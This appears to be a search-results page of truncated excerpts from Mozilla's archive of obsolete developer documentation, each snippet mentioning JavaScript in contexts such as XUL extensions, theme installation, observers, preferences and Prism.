ing either extensions or core Mozilla code. These are the sort of things that super-review should be catching for code that goes into the tree; avoiding these to start with saves super-reviewers a lot of effort. The first couple of items deal with loading content from a URI. It's important to create the URI correctly, and then check that it's secure to load. This will shield you from loading <tt>
javascript:</tt> or <tt>chrome:</tt> URIs when you shouldn't. How to create a URI object In almost all cases, when creating a URI object you want to use the newURI method on the nsIIOService interface, like so:
JavaScript: try { var ioServ = Components.classes["@mozilla.org/network/io-service;1"] .getService(Components.interfaces.nsIIOService); var uriObj = ioServ.newURI(uri...
Communication between HTML and your extension - Archive of obsolete content
d their specific component behavior rather than trying to impose some kind of messaging on existing components. Next I started investigating events, there are only a handful of events and the W3C documentation is pretty complete. The basic problem with the event model is probably due to what I was trying to do. In my HTML I have an input element in a form. I set the onBlur action to a little
javascript function that performed a standard AJAX request to get a result. The onreadystatechange was set to another little
javascript function that would update a specific element on the HTML page with the result. The result of the AJAX request was the something that I wanted the extension to find. There were only a handful of events that seemed relevant (Load, Change, DOMInsertNode, DOMInsertNodeIntoDocu...
Default Preferences - Archive of obsolete content
ost of an extension's directories can be named arbitrarily and mapped using a chrome manifest, default preferences must be in very particular spot: | Extension Root +--|content +--|skin +--|defaults +--|preferences To add preferences simply drop a .js file into that directory and Mozilla will read it and set the appropriate preferences. The actual file, despite having .js extension, is not a
JavaScript file. You may not set variables inside of it, nor may do any kind of program flow control (ifs, loops etc.) nor even calculated values (i.e. 3600 * 24 * 5). Doing so will cause Mozilla to stop processing your preferences file without any notification, warning, error, or exception. Think of it more as an .ini file. Comments are perfectly acceptable. Inside your file you set preferences using the p...
Developing add-ons - Archive of obsolete content
key and Thunderbird. They can add anything from a toolbar button to a completely new feature. Plugins Information about how to create plugins, which are binary components that let Mozilla based software display content they can't handle natively. Jetpack Browser extension development for everyone. Jetpack developers only need to know the tools of the modern web: HTML, CSS, and
JavaScript. Themes Themes let users customize the appearance of the user interface presented by Mozilla-based applications. Search engine plugins Firefox supports search engine plugins, which enable the search box to support different search engines. addons.mozilla.org (AMO) API Developers' Guide The AMO Developers' Guide describes how to use the AMO API to fe...
Inline options - Archive of obsolete content
var doc = aSubject; var control = doc.getElementById("myaddon-pref-control"); control.value = "test"; } } }; Services.obs.addObserver(observer, "addon-options-displayed", false); // Don't forget to remove your observer when your add-on is shut down. This code should be in bootstrap.js (within the startup() function) for restartless extensions or in an XPCOM component or a
JavaScript code module (not an overlay!) for traditional extensions. Note: Starting in Gecko 13.0, you can also listen for the addon-options-hidden notification, which has the same subject and data as above, to find out when the UI is about to be removed. Use this notification to remove event listeners, or any other references that might otherwise be leaked. Locating the options file There are two ways...
Interaction between privileged and non-privileged pages - Archive of obsolete content
You must check the data. * @see <https://developer.mozilla.org/docs/Code_snippets/ * Interaction_between_privileged_and_non-privileged_pages#Security_notes> */ function getEventData(event) { if (event.target.ownerDocument != targetDoc) throw "event from unexpected source"; return new XML(event.target.getAttribute("eventDataFromPage")); } Security notes Never invoke the web page's
JavaScript functions from your extension - doing this increases the chance of creating a security hole, where a malicious web page can trick the browser to run its code with extended privileges (just like your extension) with, for example, the ability to delete local files. It is highly recommended to check the source of the event (via event.target.ownerDocument.location) and make your extension ignore any...
Listening to events in Firefox extensions - Archive of obsolete content
as the load event doesn't fire in Firefox 1.5 when the page is loaded from cache). The first time the page loads, the pageshow event fires just after the firing of the load event. The pageshow event uses a boolean property called persisted that is set to false on the initial load. It is set to true if it is not the initial load (in other words, it is set to true when the page is cached). Set any
JavaScript that you want to run every time a page loads to run when the pageshow event fires. If you call
JavaScript functions as part of the pageshow event, you can ensure these functions are called when the page is loaded in browsers other than Firefox 1.5 by calling the pageshow event as part of the load event, as shown in the sample later in this article. pagehide event If you want to define behavior...
Offering a context menu for form controls - Archive of obsolete content
going discussion about this topic; please see bug 433168 for the latest information. Overlay the content The first thing to do is to establish an overlay over the chrome for the window in which you want to allow context menus on form controls. <overlay id="formcontrolcontextmenu-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/
javascript" src="chrome://formcontrolcontextmenu/content/overlay.js"/> </overlay> Change the right-click behavior The overlaid code is responsible for adjusting the behavior of right-clicking on form controls. window.addEventListener("load", function() { let setTargetOriginal = nsContextMenu.prototype.setTarget; Components.utils.reportError(setTargetOriginal); nsContextMenu.prototype.setTarg...
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
break very specific CSS, and XBL bindings lose their internal state when moved around the DOM. Adding toolbar buttons to existing toolbars Finally, there is the very common case where you just want to add one button to the main toolbar. In this case you still need to add the button to the palette using an overlay. In order to add your button to the main toolbar on first run, you'll have to use
Javascript code. Keep in mind that you shouldn't assume anything about the location (or presence!) of any specific buttons; remember users could have moved them or removed them altogether. The Toolbar Code Snippets page has a code sample you can use to do this. Remember to validate if your button is already present, to prevent duplicates. It's also a good idea to set a preference that indicates that you ad...
Adding menus and submenus - Archive of obsolete content
enu is inside the Tools menu. That is, unless there's a place inside the menu structure where your extension menus make more sense. If you're overlaying the Tools menu, your overlay code should have something like this: <menupopup id="menu_ToolsPopup"> <menu id="xulschoolhello-hello-menu" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.helloMenu.accesskey;" insertafter="
javascriptConsole,devToolsSeparator"> <menupopup> <!-- Your menuitem goes here. --> </menupopup> </menu> </menupopup> Now let's look at some specialized types of menu items. Menu types Checkbox Menu Items You can make a menuitem "checkable" to allow the user to enable/disable options using the menu. We use two attributes for this: type and checked. The type attribute must be set to "che...
Adding sidebars - Archive of obsolete content
t is placed as a child for John's << XUL Reference << element, and the container attribute must be set. It should be evident at this point that hand-coding a tree would take quite some time and yields a great deal of XML code that is hard to follow. This is why most of the uses of the tree element are for displaying data from an external datasource. Even handling the construction of a tree using
Javascript and DOM functions can become very convoluted, which is why trees are better used along with templates. This topic will be covered later when we look at different kinds of datasources and templates. Adding style to a tree can also be challenging, which is why there's a guide specifically covering how to Style a Tree. Looking at the Bookmarks and History sidebars should make it clear that trees ar...
Appendix A: Add-on Performance - Archive of obsolete content
hat having several add-ons will do. Luckily, minimizing your startup time is easy, if you follow these guidelines: Do not load or run code before it's needed. Add-ons can have extra features that are only available depending on user preferences. Other add-ons have most of their features depend on a user being logged in to a service. Don't load at startup something you won't need at the time.
JavaScript Code Modules. Use them. JSM provide the cleanest way to separate JS into modules that can be loaded on request, unlike chrome scripts which are generally loaded with the overlay at startup. Keep as much of your code in JSM, make it as modular as you can, and only load modules as you require them. If your add-on is too simple for JSM, don't worry about it. There's still one more thing you can do. ...
Appendix F: Monitoring DOM changes - Archive of obsolete content
methods, including web progress listeners, HTTP observers, and content policies. While these are not exceptionally efficient (they run for every HTTP request, and considerably more often for some methods), they work very well for certain applications Pure CSS Pure CSS can be more powerful than most people suspect. It is often possible to do things for which people have traditionally resorted to
JavaScript with CSS alone. In particular, the ::before and ::after pseudo-elements, and pseudo-classes like :hover and :active can be used to achieve extremely complex dynamic behavior. Late binding and event delegation Often times, it suffices to bind event listeners to top-level elements and check for matching elements when the event fires. For instance, rather than watching for the creation of <a> elem...
Custom XUL Elements with XBL - Archive of obsolete content
rom the JS code in your binding, we use the getAnonymousElementByAttribute DOM method: let nameLabel = document.getAnonymousElementByAttribute( this, "anonid", "xulshoolhello-name-label"); Implementation The implementation section defines most of the scripting side of your element. Here you can define methods and properties, as well as a constructor and a destructor for your element.
JavaScript code is enclosed in CDATA sections to prevent JS and XML syntax conflicts. Properties and Fields The field and property tags allow you to handle element variables and access them from outside of the element. A field holds a value that can be changed, except when the readonly attribute is set. It's very similar to a JS object variable, and we generally use a field for private variables inside o...
Introduction - Archive of obsolete content
ctically exclusive to Mozilla, it tends to be used to identify all Mozilla-related development. You'll sometimes read terms like "XUL applications" and "XUL extensions", but rarely will they refer to projects that are exclusively built with XUL. It usually means that the projects were built using Mozilla technologies. Even this project, called XUL School, covers several other technologies such as
JavaScript, CSS, XBL and XPCOM. XULRunner XULRunner includes the Gecko rendering engine, the Necko networking library, and several other components that provide OS-independent file management, accessibility, and localization, among others. It is this very powerful platform that has allowed such a fast growth of the development community surrounding Mozilla and Firefox. XULRunner is available in binary fo...
Local Storage - Archive of obsolete content
The FUEL library has an uninstall event you can use to perform these operations. Logging Good logging is essential in all kinds of software projects. Any extension that is more complex than a Hello World needs some way to log errors and trace execution without having to fire up a debugger. It used to be the case that custom logging solutions were necessary, but Mozilla Labs have come up with a
JavaScript implementation of a logger similar to the Log4J logger used in Java projects. The logger is called Log4Moz and it is implemented as a
JavaScript Code Module, so it only works on Firefox 3 and above. To use this logger, you need to copy the log4moz.js file to your modules directory. In the initialization method of your one of your "common" or startup objects, add the following code: let formatte...
Observer Notifications - Archive of obsolete content
object to pass to those observers (can be null), the second parameter is the notification topic and the last parameter is an additional string to pass to those observers (can be null). observerService.notifyObservers(null, "xulschoolhello-test-topic", "hello"); Non-chrome to chrome communication Non-chrome to chrome communication is one of the main uses of observers. By non-chrome we mean
JavaScript Code Modules or XPCOM. As we saw in previous sections, you can use
JavaScript Code Module and XPCOM objects very easily from the chrome. But given that chrome is window-dependent and non-chrome objects are not, it's tricky to send a message to the chrome. You would have to invoke a method for the chrome objects in all windows. It's much easier to use observers in this case. Let's see the followi...
The Box Model - Archive of obsolete content
is also a link. All you need is to set the text-link class to the label, and add an onclick handler (oncommand won't work for this). The label is displayed with the expected link style so that users can easily recognize it as a link. A trickier case is when you need only part of a label to be clickable, just like in HTML. Since labels can't handle rich text, workarounds have to implemented using
Javascript. One possibility is to use special markup in a locale property so that the link can be easily recognized: xulschoolhello.linkedText.label = Go to <a>our site</a> for more information The syntax is similar to HTML because it's easier to read this way, but string bundles won't do anything special with it. You'll have to break the string using regular expressions and generate 3 different label...
XUL School Tutorial - Archive of obsolete content
is a comprehensive add-on development tutorial, focusing on Firefox extension development. It is recommended that you read through all of it at least once. While Firefox changes rapidly, the content in this tutorial should be up to date and valid. ...
Session store API - Archive of obsolete content
ir is still associated with it. var ss = Components.classes["@mozilla.org/browser/sessionstore;1"] .getService(Components.interfaces.nsISessionStore); var currentTab = gBrowser.selectedTab; var dataToAttach = "I want to attach this"; ss.setTabValue(currentTab, "key-name-here", dataToAttach); This code sets the value of the key "key-name-here" to dataToAttach. You may use any
JavaScript object as the data. Fetching a saved value You can fetch a value associated with a tab at any time (whether the tab is in the process of being restored or not), using code similar to the following: var ss = Components.classes["@mozilla.org/browser/sessionstore;1"] .getService(Components.interfaces.nsISessionStore); var currentTab = gBrowser.selectedTab; var retrievedData = ...
Supporting search suggestions in search plugins - Archive of obsolete content
n list box. See Creating OpenSearch plugins for Firefox to learn more about how to implement a search plugin. Implementing search suggestion support on the server The majority of the work in handling search suggestions is actually implemented on the server side. If you're a web site designer, and want to support search suggestions, you need to implement support for returning the suggestions in
JavaScript Object Notation (JSON) given a search term. When the browser wants to fetch possible matches for a search term, it then sends an HTTP GET request to the URL specified by the <Url> element. Your server should then decide upon the suggestions to offer using whatever means it sees fit, and return a JSON array of results: query string The first element in the array is the original query string.
Promises - Archive of obsolete content
Error("Publication failed", e); }); File IO File IO in add-ons should be done via the OS.File API, which provides a simple, but powerful, interface for reading, writing, and manipulating both text and binary files. It is also available for use off-main-thread in Workers as a synchronous API. This interface replaces the previous, complicated XPCOM nsIFile and streams APIs, and their related
JavaScript helper modules. These older interfaces should be avoided, even in their asynchronous forms, due to their performance penalties and needless complexity. Representative Example Usage Components.utils.import("resource://gre/modules/osfile.jsm"); Task.spawn(function* () { // Retrieve file metadata to check modification time. let info = yield OS.File.stat(configPath); if (info.lastModi...
Using the Stylesheet Service - Archive of obsolete content
esheets without having to touch userContent.css or userChrome.css files. The API is defined in nsIStyleSheetService.idl. The stylesheets registered with this API apply to all documents; Firefox 18 extended nsIDOMWindowUtils with loadAdditionalStyleSheet() and removeAdditionalStyleSheet() to manage stylesheets for a specific document (bug 737003). The examples in this document are all written in
JavaScript using XPCOM. Using the API The string "chrome://myext/content/myext.css" in the examples below is just an example. Replace it with the URL of the CSS file you want to load. You can replace USER_SHEET with AGENT_SHEET or AUTHOR_SHEET, depending where in the CSS Cascade you want the sheet to be placed. See the CSS Specification for more details. Note that UA stylesheets are allowed to do certai...
Search Extension Tutorial (Draft) - Archive of obsolete content
getEngineByName(ENGINE_DETAILS.name); // Only remove the engine if it appears to be the same one we // added. if (engine && engine.getSubmission("_searchTerms_").uri.spec == ENGINE_DETAILS.url) Services.search.removeEngine(engine); } } function install() {} function uninstall() {} The complex method requires two files, an XML search description file and a
JavaScript file to register the engine. In non-restartless extensions, the XML search description may instead simply be placed in the searchplugins/ directory in the root of your XPI, as em:unpack is specified in your install.rdf file. As above, install and uninstall code is only provided for restartless add-ons but can be adapted for traditional add-ons. search.xml <?xml version="1.0" encoding="UTF-8"?> <S...
XML data - Archive of obsolete content
details Other values of display display the element like a list item, or like a component of a table. For the full list of display types, see The display property in the CSS Specification. Using CSS alone, the structure of the display must be the same as the structure of the document. Other technologies can modify the structure of the display--for example, XBL can add content, and
JavaScript can modify the DOM. For more information about XML in Mozilla, see the XML page in this wiki. Action: An XML demonstration Make a new XML file, doc9.xml. Copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <!-- XML demonstration --> <?xml-stylesheet type="text/css" href="style9.css"?> <!DOCTYPE planet> <planet> <ocean> <name...
Creating a Web based tone generator - Archive of obsolete content
erval through the setInterval() function. The function mozWriteAudio() is called to write those samples produced in the audio stream. In order to always have samples to play, a buffer of 500 ms is created. The function mozCurrentSampleOffset() is used to know the position of the samples being played so that we can fill a 500 ms buffer of audio samples. <!DOCTYPE html> <html> <head> <title>
JavaScript Audio Write Example</title> </head> <body> <input type="text" size="4" id="freq" value="440"><label for="hz">Hz</label> <button onclick="start()">play</button> <button onclick="stop()">stop</button> <script type="text/
javascript"> function AudioDataDestination(sampleRate, readFn) { // Initialize the audio output. var audio = new Audio(); audio.mo...
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
wser. Example: Netscape 6 6.1\ Look at the Extensions subkey, e.g. HKEY_LOCAL_MACHINE\Software\Mozilla\Netscape 6 6.1\Extensions\ Access the Plugins value and value-data pair, e.g: Plugins = C:\Program Files\Netscape\Netscape 6\Plugins. You also have the Components value and value-data pair; this is for XPCOM components. In addition, if you have made your plugin scriptable and accessible from
JavaScript, you ought to put the associated XPT file in the Components directory. You can access the Components value and value-data pair (telling you where the Components directory is) in a similar manner, e.g.: Components=C:\Program Files\Netscape\Netscape 6\Components. Future Mozilla based browsers won't distinguish between plugins and components, and will pick both up from a common location. However, fo...
Using XML Data Islands in Mozilla - Archive of obsolete content
ds" feature that allows Web authors include XML data inline in HTML documents using the <xml> tag. This feature is not based on multi-vendor Web standards and is not supported in Firefox (or other non-IE browsers). XML data islands are no longer supported from Internet Explorer 10 onwards. HTML5 has a more general feature called "data blocks" that can carry almost any textual data, including XML.
JavaScript can use the content of a <script> element as a data block if the src attribute is omitted and the type attribute does not specify an executable script type. When putting XML in a data block, you need to make sure that the XML content you are embedding does not have an end tag that case-insensitively matches "</script>". For example, a simple XML purchase order can be embedded like this: <script i...
Visualizing an audio spectrum - Archive of obsolete content
The function handling the loadedMetaData event stores the metadata of the audio element in global variables; the function for the MozAudioAvailable event does an FFT of the samples and displays them in a canvas. NOTE: You can use the AudioNode called AnalyserNode to perform real-time FFT analysis on an audio stream, rather than the code shown below. ...
How Mozilla finds its configuration files - Archive of obsolete content
, a pointer to the directory where the profile is stored (located at Common/Profiles/profileName/directory. The value contained in this key is a litteral value, no variables (such as %USERPROFILE%/MozProfile) allowed. We chose to point this to the user's home directory (H:\Mozilla). The configuration itself is stored in the specified directory, in a file named prefs.js. This is a readable file of
javascript commands. All other files in that directory are dynamically created by Mozilla on first start. The of the binary registry file is described here. You may use the following items: A program to convert registry.dat file into a readable (and editable) XML file. Usage: ./readMozProfile.pl < registry.dat >registry.xml A program to convert the XML file back into the binary registry.dat file. Usage: ...
How Thunderbird and Firefox find their configuration files - Archive of obsolete content
profileName). Likewise, Firefox uses a similar file, located in %APPDATA%\Mozilla\Firefox\profiles.ini. The value contained in this key is a litteral value, no variables (such as %USERPROFILE%/MozProfile) allowed. We chose to point this to the user's home directory (H:\Thunderbird). The configuration itself is stored in the specified directory, in a file named prefs.js. This is a readable file of
javascript commands. All other files in that directory are dynamically created by Mozilla on first start. Unlike Mozilla's binary registry.dat file, Thunderbird's and Firefox' profiles.ini file is a readable text file. Here is an example of what this may look like: [General] StartWithLastProfile=1 [Profile0] Name=default IsRelative=1 Path=Profiles/default.uda If you want to point this to a location of yo...
Kill the XUL.mfl file for good - Archive of obsolete content
t may actually be faster without than with XUL.mfl occasionnally gets corrupted, needing a manual intervention to wipe it out, before mozilla again works correctly. With Quicklauncer (see above), mozilla's speed is actually quite adequate, even without XUL.mfl For these reasons, it is desirable to disable the XUL.mfl functionality. Unfortunately, there appears to be no "clean" way of doing so (
javascript command in prefs.js or registry setting). But creating a subdirectory named XUL.mfl in mozilla's profile directory seems to help (mozilla is not smart enough to remove the directory before creating the file, thus the presence of the directory effectively disables this (mis)feature). N.B. It seems that as of version 1.5, the XUL.mfl file no longer is a problem, so this part may be skipped if you h...
Blackwood - Archive of obsolete content
The Blackwood project, started by engineers at Sun Microsystems, is an attempt to better integrate the Java platform with the Mozilla browser. Blackwood consists of a series of Java-based extensions to Mozilla. Blackwood's mission is to put Java support in Mozilla on a par with
JavaScript support. Active Subprojects Webclient Java DOM API Java Pluglet API Defunct Subprojects BlackConnect -- Blackconnect was superseeded by JavaXPCOM ...
Chromeless - Archive of obsolete content
[This project may not be active -- check Github https://github.com/mozilla/chromeless] Chromeless is a Mozilla Labs project in its early stages. The aim is to enable developers to create full blown desktop applications using only Web technologies. Chromeless apps have access to a collection of
JavaScript APIs that provide them with deep desktop integration. One of the core capabilities of the Chromeless platform is the ability to safely embed untrusted Web applications inside these applications. Chromeless vs Prism/WebRunner Prism (an ex-Mozilla Labs project, now discontinued but kept going independently of Mozilla under the [now discontinued] WebRunner name) was/is a way to make Web pages superficially appear to be native applications. Firefox users could choose to turn a Web page into a "...
Conclusion - Archive of obsolete content
software. Try installing the extension, restarting Mozilla, and see if it works. If the version you created in this tutorial doesn't work, compare it to this working version to help figure out the problem. Future directions for development of the tutorial and/or coursework: In addition to build status, Tinderbox also tells you if the CVS tree is open or closed for check-ins. How would you use
JavaScript to determine whether the tree is open or closed and CSS to style the icon accordingly? Mozilla applications often store their CSS and image files in a separate skin subdirectory within the installation directory. How would you modify the XPI structure and installer script to install these files in that subdirectory? How could you modify the extension to load the Tinderbox page when you click ...
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
The first step is to write a function that queries the tinderbox server and retrieves the current status. var gXMLHttpRequest; function loadTinderboxStatus() { gXMLHttpRequest = new XMLHttpRequest(); gXMLHttpRequest.onload = updateTinderboxStatus; gXMLHttpRequest.open("GET", "http://tinderbox.mozilla.org/SeaMonkey/panel.html"); gXMLHttpRequest.send(null); } XMLHttpRequest is an interface in Mozilla for retrieving documents via HTTP. ...
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
ome URLs in the copy of tinderstatusOverlay.xul to point to the new locations the files will be in when they get installed via the XPI: <?xml version="1.0"?> <?xml-stylesheet href="chrome://tinderstatus/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusOverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/
javascript" src="chrome://tinderstatus/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> We also need to change the URLs in the copy of tinderstatus.css: statusbarpanel#tinderbox-status { list-style-image: url("chrome:/...
Creating a Mozilla Extension - Archive of obsolete content
ll access Tinderbox, mozilla.org's webtool for tracking source code status, to get the status of the code. Completing this tutorial will give you a basic understanding of how Mozilla's user interface (UI) is constructed, how to find the source code for the UI you want to extend, how to make an installation of Mozilla modifiable, how to use Mozilla's network library to load and parse web pages in
JavaScript, and how to use dynamic overlays to package a Mozilla extension for installation by others. Contents Prerequisites Tinderbox Making a Mozilla installation modifiable Finding the file to modify Finding the code to modify Adding the structure Specifying the appearance Enabling the behavior - retrieving tinderbox status Enabling the behavior - updating the status bar panel Enabling the ...
Getting Started - Archive of obsolete content
* /chrome.manifest /install.rdf /icon.png /preview.png Make sure not to just zip up the My_Theme parent directory since that will cause the drag and drop install in the next section to fail without error messages. Once you have put the files in the zip folder, rename it to myskin.jar Triggering the install from the web To install the theme's JAR file directly from the web, you need to run some
JavaScript. <a href='
javascript:InstallTrigger.installChrome(InstallTrigger.SKIN, "myskin.jar", "My Skin Theme")'>install My Skin</a> If you have JAR files on your hard drive and would like to install them, then download/use this form. You can also just open the themes window in Mozilla and drag and drop your .jar file onto it. Now to change your folder(s) back into a .jar Well it's easy! What you do is p...
Getting Started - Archive of obsolete content
of the zip, just the files inside of \mySkin). Once the zip is created, rename it to mySkin.jar Contents of mySkin.jar contents.rdf preview.png \navigator\... \messenger\... \global\... \editor\... \communicator\... Triggering the install from the web To install your jar file directly from the web, you need to run some
JavaScript. <a href="
javascript:InstallTrigger.installChrome(InstallTrigger.SKIN, 'myskin.jar', 'My Skin Theme')">install My Skin</a> If you have jar files on your hard drive and would like to install them, then download/use this form. ...
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
/contents.rdf /install.rdf /icon.png /preview.png Make sure not to just zip up the My_Theme parent directory since that will cause the drag and drop install in the next section to fail without error messages. Once you have put the files in the zip folder, rename it to My_Theme.jar Triggering the install from the web To install the theme's JAR file directly from the web, you need to run some
JavaScript. <a href='
javascript:InstallTrigger.installChrome(InstallTrigger.SKIN, "myskin.jar", "My Skin Theme")'>install My Skin</a> If you have JAR files on your hard drive and would like to install them, then download/use this form. You can also just open the themes window in Mozilla and drag and drop your .jar file onto it. Now to change your folder(s) back into a .jar Well it's easy! What you do ...
Creating regular expressions for a microsummary generator - Archive of obsolete content
t the generators know how to summarize by matching patterns in those pages' URLs. In this tutorial, we'll explain how to make regular expressions that match the URLs for eBay auction item pages. By the end of the tutorial, you should know some basics about regular expressions and understand how to create expressions that match URLs. For detailed documentation about regular expressions, see Core_
JavaScript_1.5_Reference:Global_Objects:RegExp. To learn how to create a microsummary generator, see Creating a Microsummary. URLs 101 URLs for auction item pages on eBay, like those on many other sites, usually start with the string "http://" and contain a domain name, a file path, and some query parameters. Here's a URL for an auction item page on eBay: http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&it...
Dehydra Object Reference - Archive of obsolete content
The objects are designed to distill that type system to the minimum such that it can be easy to match on. Often, the best way to become familiar with the Dehydra objects is to print out the objects: Dehydra example code an online tool for pretty-printing dehydra data Understanding Properties Dehydra only sets properties that are applicable. For example, class types and typedefs are declared and will have a .loc property. Intrinsic types such as "int" are not declared and will not have a .loc. Dehydra only sets boolean flags when they are true. ...
Drag and Drop - Archive of obsolete content
ement. At this point, the user has already released the mouse button. The element can simply ignore the event or can handle it some way, such as pasting the dragged object into itself. ondragend Called when the drag operation is finished. There are two ways that drag and drop events can be handled. This first involves using the drag and drop XPCOM interfaces directly. The second is to use a
JavaScript wrapper object that handles some of this for you. The code for this wrapper can be found in a file named toolkit/content/nsDragAndDrop.js nsDragAndDrop.js which is contained in the widget-toolkit (or global) package. XPCOM Drag and Drop interfaces Two interfaces are used to support drag and drop. The first is a drag service, nsIDragService and the second is the drag session, nsIDragSession. Th...
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
l is to find the correct stream listener to pump the data into when necko calls OnDataAvailable (e.g., we may find the HTML parser as the stream listener to give the data to). Dramatis Personae This document focuses on the interaction of three classes with each other, but other Mozilla components are also involved. Main Roles nsDocShell This class corresponds, basically, to a "window" object in
JavaScript -- each frame, iframe, content area, tab, etc has its own docshell. A docshell can have a name associated with it (e.g. a named frame). All loads that we consider in this document are initiated via the docshell. nsDocShell implements too many interfaces to count; the ones that matter to us most are nsIWebNavigation and nsILinkHandler. nsURILoader This is a service implementing nsIURILoader. It ke...
Layout System Overview - Archive of obsolete content
case the Layout System has to detect that impact and reflow again the impacted frames. This is referred to as an incremental reflow. Another responsibility of layout is to manage dynamic changes to the content model, changes that occur after the document has been loaded and (possibly) presented. These dynamic changes are caused by manipulations of the content model via the DOM (generally through
JavaScript). When a content element is modified, added or removed, Layout is notified. If content elements have been inserted, new frames are created and formatted (and impacts to other frames are managed by performing further incremental reflows). If content is removed, the corresponding frames are destroyed (again, impacts to other elements are managed). If a content element is modified, layout must deter...
Code snippets - Archive of obsolete content
All of the in this page must be executed in a chrome-privileged console. To access a chrome-privileged console, open an about page (like about:about) then open a Web Console via the Web Developer menu. Tabs from Other Computers This snippet shows how to load all tabs from other computers. Components.utils.import("resource://services-sync/main.js"); // Obtain a reference to the main Firefox window. ...
Creating a Help Content Pack - Archive of obsolete content
tents file (and therefore exactly like creating an index file), so follow the instructions there to create additional data sources as you need them. Viewing your Content Pack in the Help Viewer To launch the Help Viewer with your content pack, you need to have chrome://help/content/contextHelp.js loaded into the XUL file that provides the UI to open the help viewer: <script type="application/
javascript" src="chrome://help/content/contextHelp.js"/> This will allow you to access all of the viewer functions. To open the Help Viewer, run the openHelp() function. It's exactly the same as any
JavaScript command, you you can insert it in command elements, oncommand attributes, and other such places. The parameters are described below: openHelp(aTopic, aContentPackSpec); aTopic: the rd...
Menu - Archive of obsolete content
enuitems. show(anchorNode) Shows the menu immediately. Parameters anchorNode The menu will pop up on this node, which may be either a raw DOM node or a DOM node wrapped by jQuery. Menuitems Menus in Jetpack contain Menuitem objects, including both built-in Firefox menus and menus that features create. No Menuitem constructor is exposed, because Jetpack automatically boxes simple
JavaScript objects into Menuitem objects. Creating menuitems To pass a new menuitem into the API, pass one of the following types: null A simple menu separator. (Note that any falsey value will suffice, including undefined, null, and the empty string. null is recommended because it stands out.) function A menuitem that will update itself when its menu is shown. The function is invoked just before the item's...
Microsummary topics - Archive of obsolete content
available from URLs, you should not use this form for your programmatically-installed generators. Differentiating between user-initiated and microsummary-related requests When Firefox updates a microsummary generated by a microsummary generator add-on, it automatically downloads the HTML content of the page being summarized. It does not generally download related content like embedded images and
JavaScript scripts referenced by the page. However, because of a technical limitation (bug 340746), it does download CSS stylesheets referenced by the page. Firefox includes the X-Moz request header with these requests. It sets the value of the header to the string microsummary. Thus, to differentiate requests initiated manually by users for the purpose of viewing a web page from those initiated automatical...
Modularization techniques - Archive of obsolete content
on platforms that support it, so it may not matter. But no promises, yet. What are the major differences? Instead of Microsoft's MIDL compiler, we are using a CORBA-compliant IDL compiler, XPIDL. It outputs NSPR types when generating C++ headers. It also generates typelibraries that are not compatible with Microsoft's .TLB format. XPCOM uses these typelibraries to allow other languages, such as
JavaScript, to implement and call XPCOM objects. We also do cross-thread proxying calls using the typelib and NSPR's event queues. Microsoft provides an extensive support infrastructure for COM. This technology is built into Windows, but not most other platforms. The technology can be licensed from Microsoft, but for obvious reasons we are not going to be doing that. In house equivalents to the important e...
Monitoring downloads - Archive of obsolete content
ted into the appropriate list cell. The interesting bits to take away from this: mozIStorageStatement has several data getter routines for fetching search results, including getString(), getDouble(), and getInt64(). These methods take as a parameter the zero-based index number of the column whose value you wish to retrieve. Note that the start time is being divided by 1000 before we create a
JavaScript Date object from it. That's to adjust the value from the granularity stored in the database to that expected by
JavaScript. To right-justify the numeric columns, we set the appropriate cells' style attribute to text-align:right. Exercises for the reader There are some obvious things that could be done to improve this extension. If you're learning to use the Download Manager or Storage APIs, t...
Nanojit - Archive of obsolete content
hardcoded way possible. The conversion from LIR to a program like one shown above is the task of the parser. Guards Guards are special LIR instructions, similar to conditional branches, with the difference that when they are called, instead of going to a particular address, they leave the JIT code entirely, and stop the trace. Need Guards are required in a cross platform dynamic language like
JavaScript. Certain assumptions are made when a particular JIT code is generated. For example, in an instruction INR x, a guard would check that x doesn't overflow the range for a 32 bit integer. The JIT code would have a guard checking this condition(an xt guard), and would return to the interpreter if the condition turns out to be true. The interpreter is then equipped to handle the overflow. Hence, gua...
New Security Model for Web Services - Archive of obsolete content
ded behind a firewall from compromising other resources protected behind the firewall. Same Source Restriction By restricting sandboxed scripts to access only resources in the domain from which they were loaded, any script loaded from one domain into another is prevented from accessing resources in the domain into which it has been loaded. This policy has generally been successful in sandboxing
Javascript and Java applets across the web. If the sandbox is unable to distinguish the common URI substring of the domain to be trusted from similar URIs of untrusted domains, then it could allow a script loaded from an indistinguishable domain to exploit firewall-protected resources. Also, this technique prevents the script from accessing many legitimate external resources not provided in the same domai...
FAQ - Archive of obsolete content
ecomes a product or is integrated into other products (like Firefox), then it won't necessarily continue to be called by this codename. Is Prism a platform? No, Prism is not a platform. Prism is built on top of the Mozilla platform and its Gecko rendering engine, just like Mozilla Firefox, so it provides the same capabilities to web applications that Firefox provides, including support for HTML,
JavaScript, CSS, and <canvas>. At the same time, we're also working to increase the capabilities of those apps by adding features to the Web itself, like support for offline data storage and access to 3D graphics hardware, that will be available to web applications in both Prism and Firefox. How is Prism different from XULRunner? Prism is built on top of XULRUnner. Prism is a simple XULRunner application w...
Scripting - Archive of obsolete content
This file will be loaded into the Prism chrome window very much like a Firefox extension is loaded into the browser chrome window. It can contain the following functions: startup When the app starts, before the user interface is displayed. Since the web application has not yet loaded, the window object is still undefined. preload Just before the user interface is displayed. Returning false causes the application to terminate. load After the main application windows has finished loading. ...
Prism - Archive of obsolete content
tom stylesheets can be used to tweak the UI. Architectural Overview Prism is a XULRunner application. In addition to the browser engine included in XULRunner, it consists of: Web app bundle management: Code for creating new web app bundles and loading existing bundles. Shortcut creation UI: A dialog box lets the user specify attributes of the web app (name, URI, icon, shortcut locations).
